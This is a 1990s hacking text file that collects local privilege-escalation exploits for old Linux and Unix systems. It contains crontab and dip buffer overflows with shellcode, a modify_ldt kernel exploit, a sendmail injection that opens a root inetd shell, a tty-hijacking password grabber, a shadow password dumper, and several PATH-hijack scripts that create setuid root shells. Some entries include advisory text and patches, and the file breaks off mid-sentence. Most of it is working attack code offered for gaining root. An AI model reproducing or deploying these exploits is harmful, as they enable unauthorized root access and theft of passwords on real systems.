More exploits for root or
other access
Topics:
Vixie Crontab Buffer Overflow for RedHat Linux
Root Dip Exploit
ldt - Text By Quantumg
Suid Perl - Text By Quantumg
Abuse Sendmail 8.6.9
ttysurf - Grab Someone's tty
shadow.c - Get Shadow passwd Files
Abuse Root Exploit (linux game program)
Doom (game) Root Exploit - Makes Suid Root Shell
Dosmenu Suid Root Exploit
Doom Root killmouse Exploit
Root Exploit For Resize Icons
Root Console Exploit For restorefont
Root rxvt X Server Exploit
Root wuftpd Exploit
A Shell Script Called gimme, Used To Read Any
System File
Vixie Crontab Buffer Overflow
for RedHat Linux
If crontab is suid it is more then likely exploitable.
-----------cut here
/* vixie crontab buffer overflow for RedHat Linux
*
* I don't think too many people know that redhat uses vixie
crontab.
* I didn't find this, just exploited it.
*
*
* Dave G. <[email protected]>
* 10/13/96
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#define DEFAULT_OFFSET
-1240
#define BUFFER_SIZE
100 /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE
"./Window"
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
int fd;
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
/*
* The sscanf line reads for 'name' as %[^ =]. Neither
a space, nor
* a '=' character appears below
*/
int i;
int ofs = DEFAULT_OFFSET;
/* if we have a argument, use it as offset, else use
default */
if(argc == 2)
ofs = atoi(argv[1]);
else if (argc > 2) {
fprintf(stderr, "egg
[offset]\n");
exit(-1);
}
/* print the offset in use */
printf("Using offset of esp + %d (%x)\n",
ofs, get_esp()+ofs);
buff = malloc(4096);
if(!buff)
{
printf("can't allocate
memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (878/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr++ = '=';
*ptr++ = 'X';
*ptr++ = '\n';
*ptr = 0;
printf("Writing to %s\n", HAPPY_FILE);
/*
* The sleep is required because as soon as crontab opens
the tmp file it
* stat's and saves it. After the EDITOR program
exists it stats again
* and if they are equal then it assumes changes weren't
made and exits.
*/
fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
write (fd, buff, strlen(buff));
close(fd);
execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
/* Successful completion */
exit(0);
}
----------- cut here
Root Dip Exploit
in /sbin you will find a symbolic link called dip to a suid root
binary.
Chances are, if this file is suid, it's sploitable.
-------- cut here
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_DIP "/sbin/dip"
u_char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs";
u_long esp() { __asm__("movl %esp, %eax"); }
main()
{
u_char buf[1024];
u_long addr;
int i, f;
strcpy(buf, "chatkey ");
addr = esp() - 192;
for (i=8; i<128+16; i+=4)
*((u_long *) (buf+i)) = addr;
for (i=128+16; i<512; i++)
buf[i] = 0x90;
for (i=0; i<strlen(shell); i++)
buf[512+i] = shell[i];
buf[512+i] = '\n';
if ((f = open("/tmp/temp.dip",
O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
perror("temp.dip");
exit(0);
}
write(f, buf, 512+i);
close(f);
execl(PATH_DIP, "dip",
"/tmp/temp.dip", (char *)0);
}
---------- cut here
ldt - Text By Quantumg
this one is a little old but I'm rather proud of it so I thought
I'd give
it a praise. in writing the linux kernel the guys who wrote
a certain
section fucked up. they let you stretch and modify the area
of memory
you can access. at first the sploit required a System.map
to be in the
root dir. so the simple solution to the bug was to delete
all System.map
files off the system and remove all the uncompressed kernels
(cause you
can generate a System.map by doing an nm on uncompressed
kernels), this
is now rather stupid cause there are patches for all kernel
versions with
the bug and I have written a version of this sploit that doesn't
need a
System.map.
---------- cut here
/* this is a hack of a hack. a valid System.map was needed
to get this
sploit to werk.. but not any longer.. This sploit
will give you root
if the modify_ldt bug werks.. which I beleive it
does in any kernel
before 1.3.20 ..
QuantumG
*/
/* original code written by Morten Welinder.
*
* this required 2 hacks to work on the 1.2.13 kernel that
I've tested on:
* 1. asm/sigcontext.h does not exist on 1.2.13 and so it is
removed.
* 2. the _task in the System.map file has no leading
underscore.
* I am not sure at what point these were changed, if you
are
* using this on a newer kernel compile with NEWERKERNEL
defined.
*
-ReD
*/
#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#ifdef NEWERKERNEL
#include <asm/sigcontext.h>
#endif
#define __KERNEL__
#include <linux/sched.h>
#include <linux/module.h>
static inline _syscall1(int,get_kernel_syms,struct kernel_sym
*,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr,
unsigned long, bytecount)
#define KERNEL_BASE 0xc0000000
/*
------------------------------------------------------------------------
*/
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg),
"r" (ofs));
return res;
}
/*
------------------------------------------------------------------------
*/
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results. */
: "r" (seg),
"r" (ofs), "r" (b));
}
/*
------------------------------------------------------------------------
*/
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg,
(unsigned)(src++));
}
/*
------------------------------------------------------------------------
*/
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char
*)src++);
}
/*
------------------------------------------------------------------------
*/
int
main ()
{
int stat, i,j,k;
struct modify_ldt_ldt_s ldt_entry;
FILE *syms;
char line[100];
struct task_struct **task, *taskptr, thistask;
struct kernel_sym blah[4096];
printf ("Bogusity checker for modify_ldt system
call.\n");
printf ("Testing for page-size limit bug...\n");
ldt_entry.entry_number = 0;
ldt_entry.base_addr = 0xbfffffff;
ldt_entry.limit = 0;
ldt_entry.seg_32bit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
ldt_entry.read_exec_only = 0;
ldt_entry.limit_in_pages = 1;
ldt_entry.seg_not_present = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
/* Continue after reporting error. */
printf ("This bug has been fixed in your
kernel.\n");
else
{
printf ("Shit happens:
");
printf ("0xc0000000 -
0xc0000ffe is accessible.\n");
}
printf ("Testing for expand-down limit
bug...\n");
ldt_entry.base_addr = 0x00000000;
ldt_entry.limit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
ldt_entry.limit_in_pages = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
{
printf ("This bug has been
fixed in your kernel.\n");
return 1;
}
else
{
printf ("Shit happens:
");
printf ("0x00000000 -
0xfffffffd is accessible.\n");
}
i = get_kernel_syms(blah);
k = i+10;
for (j=0; j<i; j++)
if (!strcmp(blah[j].name,"current") ||
!strcmp(blah[j].name,"_current")) k = j;
if (k==i+10) { printf("current not found!!!\n");
return(1); }
j=k;
taskptr = (struct task_struct *) (KERNEL_BASE +
blah[j].value);
memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned
long) taskptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getpid()) { printf("current process
not found\n"); return(1); }
printf("Current process is %i\n",thistask.pid);
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned
long) thistask.p_pptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getppid()) { printf("current
process not found\n"); return(1); }
printf("Parent process is %i\n",thistask.pid);
thistask.uid = thistask.euid = thistask.suid =
thistask.fsuid = 0;
thistask.gid = thistask.egid = thistask.sgid =
thistask.fsgid = 0;
memputseg (7, taskptr, &thistask, sizeof (thistask));
printf ("Shit happens: parent process is now root
process.\n");
return 0;
};
----------- cut here
Suid Perl - Text By
Quantumg
In the /usr/bin dir (usually) you will find a suid root binary
called
suidperl. If this file is suid root it is most probably
sploitable.
You need to set this file suid
(chmod 4700 will do it) and execute it to get root.
---------- cut here
#!/usr/bin/suidperl
$> = 0;
#set effective user id
$ENV{'PATH'} = '/bin:/usr/bin';
#secure the session
$ENV{'IFS'} = '' if $ENV{'IFS'} ne '';
$execpath = "/bin/sh";
#sameol sameol
$execpath =~ /(.*)/;
#untaint the variable
$boom = $1;
#$boom untainted
system $boom;
#run EUID=0 shell
----------------cut here
Abuse Sendmail 8.6.9
-----------cut here
/* smh.c - atreus - Michael R. Widner (2/27/95)
* <[email protected]> <[email protected]>
* a quick hack to abuse sendmail 8.6.9 or whatever else is
subject to this
* hole. It's really just a matter of passing newlines
in arguments to
* sendmail and getting the stuff into the queue files.
If we run this
* locally with -odq we are guaranteed that it will be
queue, rather than
* processed immediately.
* usage: smh [ username [/path/to/sendmail]]
* It's worth noting that this is generally only good for
getting bin.
* sendmail still wants to process the sendmail.cf file,
which contains
* Ou1 and Og1 most of the time, limiting you to bin access.
Is there
* a way around this?
* cc -o smh smh.c should do the trick. This just
creates a bin owned
* mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.
Note that on some
* systems this is pretty much worthless, but you're smart
enough to know
* which systems those are. Aren't you?
bash$ ./smh root /usr/lib/sendmail
bash$ /usr/lib/sendmail -q
*/
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
/* Take Your Pick */
#define EVIL_COMMAND1 "ascii\nCroot\nMprog, P=/bin/sh,
F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c
$u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod
6777 /tmp/newsh\">\n$rascii "
#define EVIL_COMMAND2 "ascii\nCroot\nMprog, P=/bin/sh,
F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c
$u\nR<\"|/bin/echo ingreslock stream tcp nowait root
/bin/sh /bin/sh >/tmp/.inetd.conf\">\nR<\"|/usr/sbin/inetd
/tmp/.inetd.conf\">\n$rascii "
main(argc, argv)
int argc;
char **argv;
{
execlp(argv[2] ? argv[2] :
"sendmail","sendmail","-odq","-p",
EVIL_COMMAND1,
argv[1] ? argv[1] :
"atreus",0);
}
----------- cut here
ttysurf - Grab Someone's tty
------------cut here
#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/termios.h>
#define DEBUG 1
/* Enable additional debugging info (needed!) */
#define USLEEP
/* Define this if your UNIX supports usleep() */
#ifdef ULTRIX
#define TCGETS TCGETP /* Get termios structure */
#define TCSETS TCSANOW /* Set termios structure */
#endif
handler(signal)
int
signal;
/* signalnumber */
{
/* do nothing, ignore the signal */
if(DEBUG)
printf("Ignoring signal %d\n",signal);
}
int readandpush(f,string)
FILE *f;
char *string;
{
char *cp,*result;
int e;
struct termios
termios;
result=fgets(string,20,f); /* Read a line into
string */
if (result==NULL)
{
perror("fgets()");
return(1);
}
if (DEBUG)
{
printf("String: %s\n",string);
fflush(stdout);
}
ioctl(0,TCGETS,&termios);
/* These 3 lines turn off input echo */
/* echo =
(termios.c_lflag & ECHO); */
termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
ioctl(0,TCSETS,&termios);
for
(cp=string;*cp;cp++) /*
Push it back as input */
{
e=ioctl(0,TIOCSTI,cp);
if(e<0)
{
perror("ioctl()");
return(1);
}
}
return(0);
}
main(argc,argv)
int argc;
char *argv[];
{
/* variables */
int err;
FILE *f;
char *term
= "12345678901234567890";
char *login
= "12345678901234567890";
char *password =
"12345678901234567890";
if (argc < 2)
{
printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the
output to a file !\n",argv[0]);
printf("Enter ttyname: ");
gets(term);
}
else
term=argv[argc-1];
signal(SIGQUIT,handler);
signal(SIGINT,handler);
signal(SIGTERM,handler);
signal(SIGHUP,handler);
signal(SIGTTOU,handler);
close(0);
/* close stdin */
#ifdef ULTRIX
if(setpgrp(0,100)==-1)
perror("setpgrp:"); /*
Hopefully this works */
#else
if(setsid()==-1)
perror("setsid:"); /* Disconnect from our controlling
TTY and
start a new session as sessionleader */
#endif
f=fopen(term,"r"); /*
Open tty as a stream, this guarantees
getting file descriptor 0 */
if (f==NULL)
{
printf("Error opening %s with fopen()\n",term);
exit(2);
}
if (DEBUG)
system("ps -xu>>/dev/null &");
fclose(f);
/* Close the TTY again */
f=fopen("/dev/tty","r");
/* We can now use /dev/tty instead */
if (f==NULL)
{
printf("Error opening /dev/tty with fopen()\n",term);
exit(2);
}
if(readandpush(f,login)==0)
{
#ifdef USLEEP
usleep(20000); /* This gives login(1) a chance to read the
string, or the second call would read the
input that the first call pushed back ! /*
#else
for(i=0;i<1000;i++)
err=err+(i*i)
/* error /*
Alternatives not yet implemented */
#endif
readandpush(f,password);
printf("Result: First: %s Second:
%s\n",login,password);
}
fflush(stdout);
sleep(30);
/* Waste some time, to prevent that we send a SIGHUP
to login(1), which would kill the user. Instead,
wait a while. We then send SIGHUP to the shell of
the user, which will ignore it. */
fclose(f);
}
--------------cut here
shadow.c - Get Shadow
passwd Files
----------- cut here
/* This source will/should print out SHADOWPW passwd
files. */
struct SHADOWPW { /* see
getpwent(3) */
char *pw_name;
char *pw_passwd;
int pw_uid;
int pw_gid;
int pw_quota;
char *pw_comment;
char *pw_gecos;
char *pw_dir;
char *pw_shell;
};
struct passwd *getpwent(), *getpwuid(), *getpwnam();
#ifdef elxsis?
/* Name of the shadow password file. Contains password and
aging info */
#define SHADOWPW "/etc/shadowpw"
#define SHADOWPW_PAG "/etc/shadowpw.pag"
#define SHADOWPW_DIR "/etc/shadowpw.dir"
/*
* Shadow password file pwd->pw_gecos field
contains:
*
*
<type>,<period>,<last_time>,<old_time>,<old_password>
*
* <type> = Type of password criteria to
enforce (type int).
* BSD_CRIT (0), normal BSD.
* STR_CRIT (1), strong passwords.
* <period> = Password aging period (type
long).
* 0, no aging.
* else, number of seconds in aging period.
* <last_time> = Time (seconds from
epoch) of the last password
* change (type long).
* 0, never changed.n
* <old_time> = Time (seconds from epoch)
that the current password
* was made the <old_password> (type long).
* 0, never changed.ewromsinm
* <old_password> = Password (encrypted) saved
for an aging <period> to
* prevent reuse during that period (type char [20]).
* "*******", no <old_password>.
*/
/* number of tries to change an aged password */
#define CHANGE_TRIES 3
/* program to execute to change passwords */
#define PASSWD_PROG "/bin/passwd"
/* Name of the password aging exempt user names and max
number of entires */
#define EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100
/* Password criteria to enforce */
#define BSD_CRIT 0 /* Normal BSD password criteria */
#define STR_CRIT 1 /* Strong password criteria */
#define MAX_CRIT 1
#endif elxsi
#define NULL 0
main()
{
struct passwd *p;
int i;
for (;1;) {;
p=getpwent();
if (p==NULL) return;
printpw(p);
}
}
printpw(a)
struct SHADOWPW *a;
{
printf("%s:%s:%d:%d:%s:%s:%s\n",
a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
a->pw_gecos,a->pw_dir,a->pw_shell);
}
/* SunOS 5.0 /etc/shadow */
/* SunOS4.1+c2
/etc/security/passwd.adjunct */
------------ cut here
Abuse Root Exploit (linux game
program)
---------- cut here
There is a security hole in RedHat 2.1, which installs the game
abuse,
/usr/lib/games/abuse/abuse.console suid root. The
abuse.console program
loads its files without absolute path names, assuming the user is
running
abuse from the /usr/lib/games/abuse directory. One of these
files in the
undrv program, which abuse executes as root. If the user is
not in the
abuse directory when running this, an arbitrary program can be
substituted
for undrv, allowing the user to execute arbitrary commands as
root.
If abuse.console needs to be run by users other than
root at the console,
provisions need to be made in the code to not execute or load any
files
as root.
Program: /usr/lib/games/abuse/abuse.console suid root
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /usr/lib/games/abuse/abuse.console
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: abuse.console runs undrv without an absolute
pathname while executing as root, allowing
a user to substitute the real undrv with
an arbitrary program.
Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# For release 2/2/96 - 1 drink credit please.
#
# by Dave M. ([email protected])
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1
system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
cat << _EOF_ >> /tmp/the_wall
so ya thought ya might like to go to the show
to feel the warm thrill of confusion that space cadet glow
tell me is something eluding you sunshine?
is this not what you expected to see?
if you wanna find out what's behind these cold eyes
you'll just have to claw your way through this disguise
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
/bin/rm /tmp/the_wall
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in
/tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be
vulnerable.
fi
----------- cut here
Doom (game) Root Exploit -
Makes Suid Root Shell
----------- Start reading
From [email protected] Tue Dec 17 18:53:18 1996
Date: Tue, 17 Dec 1996 10:18:24 +0100
From: Bo <[email protected]>
To: Multiple recipients of list BUGTRAQ
<[email protected]>
Subject: Re: Linux: killmouse/doom
> From: Joe Zbiciak <[email protected]>
> Subject: Re: Linux: exploit
for killmouse.
>
> Which reminds me, there's a bigger hole in Doom. It
doesn't drop its
> root permissions soon enough! The user is allowed to
set a sound server
> in his/her .doomrc. Normally, this is set to
"sndserver". Howver, this
> can be set to *any* program, and that program runs as root!!
Yes, very true. And just in case anybody collects these
scripts, here's
the obvious one:
------------ CUT HERE --------------
#!/bin/sh
# Tue Dec 17 10:02:20 MET 1996 Bo
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/sndserver.c << EOF
#include <stdio.h>
#include <unistd.h>
main() {
if (fork()) while
(getc(stdin));
else system("cp
/bin/sh /tmp; chmod +s /tmp/sh");
/* or whatever you like to do */
}
EOF
gcc /tmp/sndserver.c -o /tmp/sndserver
------------ CUT HERE --------------
The fork() is just so that doom runs on nicely
without locking up the
keyboard and sndserver gobbles up all the
sound data send to it. Run
the script, start sdoom, quit the normal way, and execute
/tmp/sh.
Thanks for pointing it out, Joe.
Regards,
Bo.
--
"Heisenberg may have been here".
--------------- end of read
Dosmenu Suid Root Exploit
--------- read
In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos
setuid root. This is a serious security hole which can be
exploited
to gain access to any file on the system.
Package: dosemu
Version: 0.64.0.2-9
------- start of cut text --------------
$ cat /etc/debian_version
1.1
$ id
uid=xxxx(quinlan) gid=xxxx(quinlan)
groups=xxxx(quinlan),20(dialout),24(cdrom)
[quinlan:~]$ ls -al /usr/bin/dos
-rwsr-xr-x 1 root root
569576 Oct 24 00:05 /usr/bin/dos
$ ls -al /root/foo
-rw------- 1 root root
1117 Nov 13 23:10 /root/foo
$ dos -F /root/foo
[ Prints /root/foo, which is not readable by user `quinlan'. ]
------- Cut here
I expect there may be other holes in dosemu other than this one
that
can be exploited if it is installed setuid root. It took
about 60
seconds to find this hole once I realized /usr/bin/dos was setuid
root.
Dan
Note: This security hole can be corrected by removing the suid
bit from
/usr/bin/dos:
----------------------------
$ chmod u-s /usr/bin/dos
----------------------------
Jonathan
----------- end of read
Doom Root killmouse Exploit
System:
Probably Linux specific. Slackware 3.0
(installs Linux 1.2.13) which
have gpm utility and/or the Doom
package installed are vulnerable.
Other distributions might be too.
Impact:
Local users can acquire root status.
Background:
The problem is the killmouse/startmouse
command that is part of Doom
package on Linux systems. It is
actually a C-wrapper that runs two
scripts (killmouse.sh/startmouse.sh). It runs suid root.
Problem:
I would try to describe the problem but I can't stop laughing.
Exploit:
This can be exploited in a few
similar ways. Here's just one. Let's
assume the gpm utility is not running. We can't
start it up ourselves
as gpm is only to be run by root. So we'll use startmouse to fire
it up:
$ touch /tmp/gpmkilled
$ /usr/games/doom/startmouse
ps -aux | grep gpm
bo 1436 0.0
2.0 40 312 v03 R 16:33
0:00 grep gpm
root 1407 0.0 2.4
42 368 ? S 16:24
0:00 /usr/bin/gpm t ms
Fine, it's running. Now we'll use
killmouse to kill the process, but
first we set our umask to 0 and link /tmp/gpmkilled to
/root/.rhosts:
$ umask 0
$ ln -s /root/.rhosts /tmp/gpmkilled
$ /usr/games/doom/killmouse
1407 ? S 0:00 gpm t ms
$ ls -l /root/.rhosts
-rw-rw-rw- 1 root users
0 Dec 13 16:44 /root/.rhosts
$ echo localhost bo > /root/.rhosts
$ rsh -l root localhost sh -i
bash#
Bingo. On some systems gpm might not be started
in /etc/rc.d/rc.local
so the startmouse script will fail. But gpm
might be running already.
If neither of these conditions are met, note that
startmouse.sh creates
/tmp/gpmscript and runs it in a shell. There's a window of
time between
creating the script and executing it, so we have a
nice race condition
here; it can be replaced with anything you like prior to
execution.
Solution:
Remove setuid bits of
killmouse/startmouse. Better yet - nuke them.
While your at it, nuke Doom too - it's a stupid game anyway :-)
Best regards,
Bo ([email protected])
killmouse exploit
------------------ cut here
/usr/games/doom/startmouse.sh:
#!/bin/sh
if [ -r /tmp/gpmkilled ]; then
/usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
/bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript
/tmp/gpmkilled
fi
/usr/games/doom/killmouse.sh:
#!/bin/sh
if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep
"gpm" ; then
GPM_RUNNING=true; /bin/killall gpm; /bin/touch
/tmp/gpmkilled
fi
----------- cut here
Root Exploit For Resize Icons
There is a security hole in RedHat 2.1, which installs the
program
/usr/bin/resizecons suid root. The resizecons program
allows a user
to change the videmode of the console. During this process,
it runs
the program restoretextmode without an absolute pathname,
assuming the
correct version will be found in the path, while running with
root
privileges. It then executes setfont in the same manner.
By setting
the path to find a rogue restoretextmode, a user can execute an
arbitrary
program as root.
As a more amusing aside, the file /tmp/selection.pid is read and
the
pid contained within is sent a SIGWINCH, allowing a user on the
system
to force a redraw of the screen to an arbitrary process (that
handles
SIGWINCH calls) on the machine.
If /usr/bin/resizecons needs to be run by users other than root
at the
console, provisions need to be made in the code to execute the
outside
utilities with absolute pathnames, and to check access rights on
files
before opening.
Program: /usr/bin/resizecons
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Temporary Patch: chmod -s /usr/bin/resizecons
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: resizecons runs restoretextmode without an
absolute pathname while executing as root,
allowing a user to substitute the real
program with arbitrary commands.
----------cut here
wozzeck.sh:
#!/bin/sh
#
# wozzeck.sh
# exploits a security hole in /usr/bin/resizecons
# to create a suid root shell in /tmp/wozz on a
# linux Red Hat 2.1 system.
#
# by Dave M. ([email protected])
#
echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1
system
echo ================ Checking system vulnerability
if test -u /usr/bin/resizecons
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/313x37
This exploit is dedicated to
Wozz. Use it with care.
_EOF_
cat << _EOF_ > /tmp/restoretextmode
#!/bin/sh
/bin/cp /bin/sh /tmp/wozz
/bin/chmod 4777 /tmp/wozz
_EOF_
/bin/chmod +x /tmp/restoretextmode
PATH=/tmp
echo ================ Executing resizecons
/usr/bin/resizecons 313x37
/bin/rm /tmp/restoretextmode
/bin/rm /tmp/313x37
if test -u /tmp/wozz
then
echo ++++++++++++++++ Exploit successful, suid shell located in
/tmp/wozz
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be
vulnerable.
fi
-------------- cut here
Root Console Exploit For
restorefont
Linux 'restorefont' Security Holes
by FEH Staff
Linux's svgalib utilities, required to be suid root, have a
problem in that
they do not revoke suid permissions before reading a file.
This is exploited
in the restorefont utility, but similar bugs exist in other
svgalib utilities.
The restorefont utility serves two functions. First, it
will read a font from
a file and write it to the console as the font. Second, it
will read a font
from the console and write it out to a file. Luckily, the
specific bug
in restorefont can only be exploited if someone is at the
console, reducing
its overall impact on the security of the system as a whole.
In writing the utilities, the authors are cognizant of the fact
that when
writing out the font, suid permissions must first be given up; it
is in fact
commented as such in the code. However, when reading in a
font, the program
is still running with full suid root permissions. This
allows us to read in
any file for the font that root could access (basically,
anything).
The applicable code to read in the file is shown below:
#define FONT_SIZE 8192
unsigned char font[FONT_SIZE];
if (argv[1][1] == 'r') {
FILE *f;
f = fopen(argv[2], "rb");
if (f == NULL) {
error:
perror("restorefont");
exit(1);
}
if(1!=fread(font, FONT_SIZE, 1, f))
{
if(errno)
goto error;
puts("restorefont: input file
corrupted.");
exit(1);
}
fclose(f);
We can see from this that the file to be read in has to be at
least 8k,
as if it is not, the program will produce an error and exit.
If the file
is at least 8k, the first 8k are read into the buffer, and the
program
proceeds to set whatever the contents of the file are to the
font:
vga_disabledriverreport();
vga_setchipset(VGA); /* avoid SVGA detection */
vga_init();
vga_setmode(G640x350x16);
vga_puttextfont(font);
vga_setmode(TEXT);
At this point, the console will now look quite unreadable if you
are
reading something other than a font from that file. But,
the data that
is put into the font is left untouched and is readable using the
-w option
of restorefont. We then read the font back from video
memory to a new file,
and our job is complete, we have read the first 8k of a file we
shouldn't
have had access to. To prevent detection of having run
this, we probably
shouldn't leave an unreadable font on the screen, so we save and
then restore
the original font before reading from the file.
The complete exploit is shown below:
Program: restorefont, a svgalib utility
Affected Operating Systems: linux
Requirements: logged in at console
Security Compromise: user
can read first 8k of any file of at least
8k in size on local filesystems
Synopsis: restorefont reads a font file while suid root,
writing it to video memory as the current vga
font; anyone at console can read the current
font to a file, allowing you to use video memory
as an 8k file buffer.
-------------
rfbug.sh:
--------------------cut here
#!/bin/sh
restorefont -w /tmp/deffont.tmp
restorefont -r $1
restorefont -w $2
restorefont -r /tmp/deffont.tmp
rm -f /tmp/deffont.tmp
-----------------------------------cut here
Root rxvt X Server Exploit
Program: rxvt
Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1,
others with
rxvt suid root (and compiled with PRINT_PIPE)
Requirements: account on system, X server
Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: rxvt fails to give up root privileges before
opening a pipe to a program that can be specified
by the user.
Exploit:
1. Set DISPLAY environment variable if necessary so you can
use x clients.
2. In user shell:
$ echo 'cp /bin/sh /tmp/rxsh;chmod 4755
/tmp/rxsh' > /tmp/rxbug
$ chmod +x /tmp/rxbug
$ rxvt -print-pipe /tmp/rxbug
3. In rxvt xclient:
$ cat
ESC[5i
ESC[4i
(The client will close at this point with a
broken pipe)
4. $ /tmp/rxsh
# whoami
root
#
Root wuftpd Exploit
The following is gleaned from the BugTraq mailing list:
-------------------------------------------------------
Since Bugtraq is exceptionally quiet lately, I though I should
make it
come alive again with this discussion of the bug that was
reported in
the wu.ftpd that comes with some Slackware distributions of
Linux.
The report was just before Bugtraq went down for a long time, but
I've found the bug still to be present on all the Linux machines
that
I have access to. So maybe it needs to be brought a little more
in
the open. Here we go:
ObBug: - Short description of the bug
It involves wu.ftpd being misconfigured at compile time and
allowing
SITE EXEC access to /bin (for anonymous or otherwise chroot-ed
users
this is ~ftp/bin). Now if in this /bin resides a program that
gives
access to executables outside /bin, but in the users reach (such
as
/bin/bash that gives access to the user's homedir), this opens up
a root vulnerability. This should have been set to /bin/ftp-exec
and
which be set by the _PATH_EXECPATH variable in src/pathnames.h
before
compiling. The wu-ftpd-2.4_linux.tgz that I found somewhere on
the
net has this securely set as default value.
- How to check ?
$ ftp -n localhost
user: <userid>
password: <passwd>
ftp> quote site exec bash -c id
If vulnerable it gives here: uid=0, gid=0, euid=<yourid>,
egid=<your-gids>
Of course, bash should not be available at all
- How to exploit (in case your sysadmin or you think the above is
not
a problem)
go to your homedir and make a program: duh.c (or whatever)
main() {
seteuid(0);
setegid(0);
system("/bin/cp /bin/sh ./sh");
system("/bin/chmod 6755 ./sh");
}
$ make duh
$ ftp -n localhost (and login)
user: <userid>
password: <passwd>
ftp> quote site exec bash -c duh
ftp> quit
$ ./sh
bash#
(voila, QED)
- How to fix?
Get the source of wu-ftpd-2.4.linux.tar.gz (stock wu-ftpd-2.4
from wuarchive
doesn't compile on linux) and compile it; you might want to
define the
_PATH_PIDNAMES and _PATH_XFERLOG to other values there...(/usr/adm/ftp.pids-%s
and /usr/adm/xferlog for example). If you cannot find that I can
email the
source to you,...if you trust the source I took somewhere
unmodified and
